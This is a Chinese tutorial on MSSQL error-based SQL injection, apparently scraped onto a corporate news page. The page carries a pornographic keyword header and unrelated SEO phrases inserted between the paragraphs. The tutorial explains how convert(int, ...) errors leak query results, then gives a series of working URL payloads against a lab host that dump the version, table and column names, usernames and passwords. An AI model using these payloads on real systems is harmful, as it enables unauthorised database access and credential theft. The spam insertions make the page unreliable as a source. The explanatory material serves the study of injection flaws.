天天日夜夜添_精品国产99久久久久久人裸体 _成人app在线观看_日韩色网站

新聞資訊

    簡介

    今天主要分享下sql注入中的報錯型,在大多網上的文章會列出類似于公式的句子,卻沒解釋為什么要使用這樣的函數,為什么使用這個函數會出現報錯而導致sql注入。

    ()函數,()函數是把?期轉換為新數據類型的通?函數。

    語法:

    CONVERT(data_type(length),data_to_be_converted,style)
    注釋 :
    data_type(length) 轉換為?標數據類型(帶有可選的長度)。
    data_to_be_converted 含有需要轉換的值。
    style 規定?期/時間的輸出格式。

    復制

    ?例:

    CONVERT(VARCHAR(19),GETDATE())
    CONVERT(VARCHAR(10),GETDATE(),110) 
    CONVERT(VARCHAR(11),GETDATE(),106)
    CONVERT(VARCHAR(24),GETDATE(),113)

    復制

    struts數據注入方式_萬能數據庫注入插件_棋牌插件怎么注入

    結果類似:

    Dec 29 2008 11:45 PM
    12-29-2008
    29 Dec 08
    29 Dec 2008 16:25:46.635

    復制

    原理

    對于 (int,@@),函數?先會執?第?個參數指定的SQL查詢萬能數據庫注入插件,然后嘗試將查詢結果轉換為int類型。但是,由于這個SQL查詢的結果是類型萬能數據庫注入插件,?法進?指定的轉換,所以,函數會拋出 ?個SQL 錯誤消息,指出“SQL查詢結果”?法轉換為“int”類型,這樣的話,攻擊者就能得到的這個SQL查詢的結果了。

    滿?條件的函數還有很多:

    convert() 
    file_name() 
    db_name() 
    col_name() 
    filegroup_name()
    

    棋牌插件怎么注入_struts數據注入方式_萬能數據庫注入插件

    object_name() schema_name() type_name() cast()

    復制

    注?流程查詢基本信息

    convert(int,@@version)     獲取版本信息 
    convert(int,db_name())     數據庫名字 
    convert(int,user)      當前?戶名 
    convert(int,@@SERVERNAME)  獲取有關服務器主機的信息

    復制

    獲取版本信息

    http://192.168.159.135:8080/get.aspx?id=convert(int,@@version)

    復制

    struts數據注入方式_萬能數據庫注入插件_棋牌插件怎么注入

    注意在這里我們直接吧函數放到 id= 的后面,因為 id=1 查詢的是整型(int),而我們的 (int,@@) 獲取到的版本信息是字符型,所以他就會報錯,從而爆出版本信息!

    或者也可以使用這條語句也能實現上面的查詢結果:

    http://192.168.159.135:8080/get.aspx?id=1 and 1=(convert(int,@@version))

    復制

    獲取當前數據庫的表名

    CONVERT(int,(select top 1 table_name from information_schema.columns))

    復制

    http://192.168.159.135:8080/get.aspx?id=CONVERT(int,(select top 1 table_name from information_schema.columns)

    復制

    我們獲取到了當前網站數據庫的表名是:users!

    獲取列名

    convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16進制的表名 as varchar)))

    復制

    http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273  as varchar)))

    struts數據注入方式_棋牌插件怎么注入_萬能數據庫注入插件

    復制

    這樣我們就獲取到了第一個列名 id!

    那么想要獲取第二個列名我們就可以再后面加一個條件語句:and != 'id'

    http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id'))

    復制

    這樣我們就獲取到了第二個列名: !

    想要獲取第三個也是以此類推加條件語句:and != ''

    http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id' and COLUMN_NAME != 'username'))

    復制

    這樣我們就獲取到了第三個列名 !

    獲取數據

    我們按照上面的順序獲取到了網站的表名:users,列名有:id、、。很明顯賬號密碼就在列名的、,那么我們就可以獲取數據了:

    convert(int,(select top 1 列名 from 表名))

    復制

    萬能數據庫注入插件_struts數據注入方式_棋牌插件怎么注入

    http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users))

    復制

    獲取到了第一個列名的第一個數據:saul!

    如果想獲取到 里面的第二個數據那么就加一個條件語句:where !='saul'

    http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users where username!='saul'))

    復制

    這樣就獲取到的 的第二個數據!想要獲取第二個就以此類推!

    既然 我們獲取到了兩個:saul、admin!那么我們就要獲取到他們的密碼了!

    http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users))

    復制

    獲取到第一個 列的值為:!

    想要獲取下一個就加一個 where 條件語句:where !=''

    http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users where password!='saul520'))

    復制

    這樣就獲取到了第二個的數據了!

    至此Mssql的報錯注入就到此為止!

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有